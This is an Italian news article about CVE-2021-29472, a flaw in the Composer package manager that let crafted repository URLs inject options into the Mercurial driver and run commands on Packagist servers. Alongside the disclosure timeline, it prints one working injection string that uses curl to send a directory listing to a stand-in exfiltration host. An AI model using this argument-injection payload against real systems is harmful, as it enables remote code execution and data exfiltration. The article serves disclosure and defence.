Vulnerabilità nel gestore di pacchetti Composer che consente la compromissione del repository PHP Packagist

Nel gestore delle dipendenze Composer è stata trovata una vulnerabilità critica (CVE-2021-29472) che consente di eseguire comandi arbitrari nel sistema durante l'elaborazione di un pacchetto con un valore URL appositamente formattato, definendo un indirizzo per il caricamento dei sorgenti. Il problema si manifesta nei componenti GitDriver, SvnDriver e HgDriver, utilizzati per il funzionamento dei sistemi di gestione del codice sorgente Git, Subversion e Mercurial. La vulnerabilità è stata risolta nelle versioni Composer 1.10.22 e 2.0.13.

Si segnala in particolare che il problema ha principalmente riguardato il repository di pacchetti Packagist utilizzato di default in Composer, che conta 306.000 pacchetti per gli sviluppatori PHP e gestisce oltre 1,4 miliardi di download mensili. Durante l'esperimento è stato dimostrato che, in caso di conoscenza della problematica, gli aggressori avrebbero potuto ottenere il controllo sull'infrastruttura di Packagist e intercettare le credenziali degli utenti o reindirizzare il download dei pacchetti su un server esterno, organizzando la consegna di versioni dei pacchetti con modifiche dannose per inserire un backdoor nel processo di installazione delle dipendenze.

Il rischio per gli utenti finali è limitato dal fatto che il contenuto di composer.json è solitamente definito dall'utente stesso e i link ai sorgenti vengono forniti quando ci si collega a repository di terze parti, di solito fidati. Il colpo principale ha colpito il repository Packagist.org e il servizio Private Packagist, che chiamano Composer fornendo dati ricevuti dagli utenti. Gli aggressori avrebbero potuto eseguire il proprio codice sui server di Packagist caricando un pacchetto appositamente formattato.

Il team di Packagist ha risolto la vulnerabilità entro 12 ore dalla ricezione della segnalazione. I ricercatori hanno informato privatamente gli sviluppatori di Packagist il 22 aprile e lo stesso giorno il problema è stato risolto. L'aggiornamento pubblico di Composer con la correzione della vulnerabilità è stato pubblicato il 27 aprile, e i dettagli sono stati resi noti il 28 aprile. L'audit dei log sui server di Packagist non ha rivelato attività sospette legate alla vulnerabilità.

Il problema è causato da un errore nel codice di verifica della correttezza dell'URL nel file principale composer.json e nei collegamenti per il download dei testi sorgente. L'errore è presente nel codice dal novembre 2011. In Packagist, per facilitare il caricamento del codice senza legami con sistemi specifici di gestione dei testi sorgente, vengono utilizzati strati speciali che vengono eseguiti tramite la chiamata «fromShellCommandline» con la trasmissione di argomenti da riga di comando. Ad esempio, per git viene eseguita il comando «git ls-remote —heads $URL», dove l'URL è stato elaborato tramite il metodo «ProcessExecutor::escape($url)», che esegue l'escaping di costrutti potenzialmente pericolosi, come «$(…)» o «`…`».

Il punto del problema è che il metodo ProcessExecutor::escape non ha effettuato l'escaping della sequenza «—«, consentendo di specificare nell'URL qualsiasi parametro aggiuntivo di chiamata. Tale escaping era assente nei driver GitDriver.php, SvnDriver.php e HgDriver.php. A ostacolare un attacco tramite GitDriver.php c'era il fatto che il comando «git ls-remote» non supportava l'indicazione di argomenti aggiuntivi dopo il percorso. È risultata possibile un'attacco su HgDriver.php tramite la trasmissione del parametro «—config» all'utility «hq», che consente di eseguire qualsiasi comando tramite manomissione della configurazione «alias.identify». Ad esempio, per scaricare ed eseguire codice avviando l'utility curl, si poteva specificare: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Pubblicando in Packagist un pacchetto di test con un URL simile, i ricercatori hanno confermato che dopo l'inserimento nel loro server è arrivata una richiesta HTTP da uno dei server Packagist su AWS, contenente un elenco di file nella directory corrente.

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster